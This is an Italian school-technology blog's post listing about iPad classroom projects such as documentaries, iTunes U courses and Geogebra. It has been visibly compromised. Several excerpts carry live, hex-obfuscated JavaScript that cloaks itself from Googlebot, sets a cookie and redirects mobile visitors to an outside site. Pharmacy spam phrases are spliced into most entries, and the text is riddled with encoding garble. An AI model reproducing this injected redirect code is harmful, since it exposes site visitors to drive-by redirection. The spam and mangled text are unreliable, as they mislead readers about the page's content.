Produciamo un vero documentario su un contenuto didattico con iMovie per iPad. buy viagra uk next day delivery. SCHEDA:Ai??iMovie Il documentariovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var […]

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Gustavo Caprioli

Radio Design. Podcast e iTunesU.

Lai??i??attivitAi?? descritta A? in corso da diversi anni ed A? andata evolvendo nel tempo con la disponibilitAi?? di nuovi strumenti e tecnologie.Ai??Si tratta di attivitAi?? laboratoriale che ha tra gli obiettivi principali quello di sviluppare le capacitAi??Ai?? espositive degli alunni.Ai?? how safe are generic viagra pills. Sono coinvolte le classi del triennio, in particolare lai??i??ultima […]

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Giovanna Busconi

Macchine matematiche

buy tranexamic acid online prescription. Video realizzato da un gruppo di allieve di una prima liceo scientifico che documenta una attivitAi?? di laboratorio di matematica alla ricerca delle trasformazioni realizzate da alcuni pantografi. Per saperne di piA? sulle Macchine Matematiche:Ai??http://www.macchinematematiche.org var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( […]

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Alessandra Sillano

Tutti “Happy” alla Mazzarello.

online dog medications no prescription. “I bambini della Primaria M.MazzarelloAi?? hanno realizzato in questi mesi un video con la canzone del momento ai???Happyai???( FelicitAi?? ). Hanno coinvolto tutti, insegnanti, suore, signore delle pulizie e della mensa in una scatenata danza della ai???FelicitAi??ai??? per esprimere con la gioia dei piccoli la voglia di vivere e di […]

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Alberto Pian

Il “metodo Panini”. L’album delle figure per insegnare e apprendere. Storia 1939 – 2014.

Le figurine fanno parte dei linguaggi non istituzionali.Ai??Si tratta di linguaggi che non sono impiegati e riconosciuti dalla cosiddetta “comunitAi?? scientifica”Ai??come strumenti di scambio di informazioni, di ricerca e studio.Ai??Eppure si tratta di un potentissimo “linguaggio” cheAi??puA? aiutare a determinare il successo di un apprendimento!   Il linguaggio Che tipo di linguaggio rappresentano le figurine? […]

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Maria Rosaria Leonardi

Eco Fashion Show!

“Il filmato A? stato realizzato in collaborazione dei miei alunni di classe terza media, impegnati in questai??i??anno scolastico in un partenariato multilaterale Comenius. Il macrotema del progetto riguardava la salvaguardia dellai??i??ambiente e lai??i??utilzzo di energie ecosostenibili. Nel corso del meeting internazionale che si A? tenuto nella nostra scuola lo scorso novembe 2013, tutti gli alunni […]

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Maria Rosaria Leonardi

Speak real. Un eccezionale Multi Touch Book per la lingua inglese.

Ai??”Nellai??i??ebook, realizzato con lai??i??app gratuita per Mac IBOOKS AUTHOR in collaborazione con I miei alunni di una classe terza, che ne hanno curato tutte le fasi di realizzazione, sono contenuti spunti didattici per potenziare le quattro abilitAi?? linguistiche: listening, speaking, reading e writing. Gli alunni hanno scelto cinque ai???topicsai???, ovvero dei nuclei tematici, vicini alle […]

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Maria Rosaria Leonardi

Piatti tipici napoletani. Snapguide in un Comenius.

Questa breve guida realizzata con lai??i??app gratuita SNAPGUIDE, disponibile per Iphone e Ipad, A? stata realizzata con i miei alunni in occasione del partenariato Comenius. La guida intende mostrare in modo chiaro e sintetico alcune delle pietanze tipiche della cucina partenopea ed A? stato il primo lavoro realizzato utilizzando questa app. Dopo aver rapidamente reperito […]

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Chiara Ferronato

Comenius con iPad. Parlano i bambini (IC San Biagio, Ravenna).

Ciao!! Hi there!! Siamo la classe 5Ai??A della scuola primaria “Camerani”, IC San Biagio di Ravenna. Siamo particolarmente vivaci, estroversi, motivati ed interessati ad apprendere… immersi in un clima scolastico sereno e quasi familiare. Nel nostro Istituto Comprensivo Ai??A? in corso un partenariato scolastico ComeniusAi??che vede la partecipazione di cinque stati europei: Ai??Turchia,Ai?? Italia, Polonia, […]

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Alberto Somaschini

Gusto e Conoscenza, un progetto, un eBook

“Il progettoAi??Lombardia Digitale catafast. Ai??A? costruito da reti di scuole lombarde che stanno collaborando nello sviluppo di unitAi?? formative multidisciplinari con strumenti digitali. In questo progetto stiamo sviluppando tematiche che saranno di attualitAi?? in Expo 2015, a tema “Gusto e Conoscenza”. Le nostre attivitAi?? di classe, in didattica digitale, vedono l’integrazione di iTunes U, per […]

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Courtney Pepe (USA)

RealtAi?? Aumentata, corso in iTunes U (Eng)

RealtAi?? Aumentata. Corso in iTunes U “It can accessed through the following enrollment code:Ai??https://itunesu.itunes.apple.com/enroll/EZT-MZE-84EAi??I created an Augmented Reality iTunes University Course with plenty of tutorials and AR apps for everything ranging teaching babies sign language to teaching anatomy to medical students.”   canadian pharmacies overnight. Corso in iTunes U per iPad creato dalla collega Courtney […]

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Alberto Pian (Italy)

SCHEDA. iTunes U Schedare filmati

Nel quaderno multicanale di iTunes U annotiamo i filmati erogati da un corso. Come se fosse un libro! Possibile? SCHEDA:Ai??iTunes U Schedare filmati what is flomax 0 4mg. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( […]

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Redazione

100 filtri per le vostre foto = 1000 attivitAi?? didattiche

L’app dai 100 filtri fotografici per iPad diventa gratuita. Non perdetela, potete fare mille attivitAi?? in classe con i piA? piccoli e con i piA? grandi! Download: https://itunes.apple.com/it/app/100-cameras-in-1-hd/id419438712?mt=8 Segnalato da SpiderMac AttivitAi?? didattiche utili usando i filtri a disposizione: Arte Disegno Fotografia Fumetti Storytelling Documentazione tadalafil cialis 5mg. Depliant Tesine Impaginati AR QR Filmati Docufilm […]

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Maria Cantoni, Casa degli insegnanti, Torino

Geogebra per iOS e Android. Simmetrie.

La barchetta della simmetria (composizione di simmetrie) Realizzata con Geogebra Maria Cantoni, Casa degli insegnanti, Torino http://www.geogebratube.org/material/show/id/50480 overnight online anitbiotics. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var […]

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Maria Cantoni e Donatella Merlo, Casa degli insegnanti, Torino.

Costruiamo la Geometria insieme ai bambini.

Metodi di concettualizzazione in matematica. Questo filmato mostra alcune tematiche didattiche che riguardano i problemi di concettualizzazione scientifica (matematica), con i bambini. VEDI IL FILMATOAi??(A? una registrazione di lavagna interattiva, creato con Educreations)Indirizzo: https://www.educreations.com/lesson/embed/11682541/?ref=app’ frameborder=’0′ allowfullscreen viagra price at walmart. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( […]

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Alberto Pian (Italy)

Che cos’A? la didattica multicanale? (Film)

L’insegnante regista della didattica multicanale. ai???Una pratica A? multicanale quando impiega canali diversi e diverse applicazioni per veicolare il medesimo contenuto. A sua volta questo contenuto si presenta inAi??forme diverse a seconda dei canali impiegati. Per esempio, la moderna editoria digitale A? orientata alla diffusione multicanale: le: una medesima pubblicazione richiede veicoli diversi di trasmissione […]

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Italo Ravenna

Costruendo ai???La marcia dei follettiai???… Una fiaba interattiva!

C’era una volta, cosAi?? nascono tutte le fiabe piA? belle…Ai??Come A? bello il ricordo delle audio-fiabe che da piccoli ascoltavamo con il nostro mangia-cassette portatile, con la faccia affondata nei volumetti illustrati logori dal tanto uso. Ma i tempi sono cambiati e cosAi?? nasce la nostra storia, una fiaba semplice che esce dal cuore e […]

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Chiara Ferronato

iPads e LIM nella Scuola Primaria.

Esperienza Classe 2.0 ai??i?? iPads e LIM nella Scuola Primaria http://cameraniclasse20ravenna.weebly.com/ Progetto nato nell’ottica dell’apertura verso la realta’ europea e quindi a nuovi modi di comunicare, utilizzando le opportunita’ offerte dalle tecnologie digitali. Uno degli obiettivi principali A? stato il comunicare facilmente con partner stranieri e raccogliere e condividere opinioni e materiali in modalitAi?? collaborativa. […]

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